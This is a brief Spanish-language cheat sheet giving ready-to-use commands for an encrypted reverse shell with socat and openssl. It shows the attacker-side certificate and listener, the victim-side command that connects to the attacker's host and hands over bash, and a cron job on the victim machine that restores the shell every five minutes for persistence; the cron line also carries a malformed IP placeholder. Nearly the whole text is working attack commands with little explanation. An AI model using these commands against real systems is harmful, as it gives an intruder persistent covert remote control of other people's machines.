Shell reverva / inversa mediante una conexión cifrada con socat

Host que espera la conexión de la shell reversa (atacante).

openssl req -sha512 -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem
socat `tty`,raw,echo=0 openssl-listen:1999,reuseaddr,cert=cert.pem,verify=0

Host que envía la shell al servidor del atacante (X.X.X.X).

socat openssl-connect:X.X.X.X:1999,verify=0 exec:bash,pty,stderr,setsid

Si se quiere tener disponible la shell reversa, una opción sería crear la siguiente tarea cronjob en el pc víctima (ejemplo cada 5 minutos).

*/5 * * * * ps -ef | grep -q '[o]penssl-connect' || socat openssl-connect:X.X.X:X:1999,verify=0 exec:bash,pty,stderr,setsid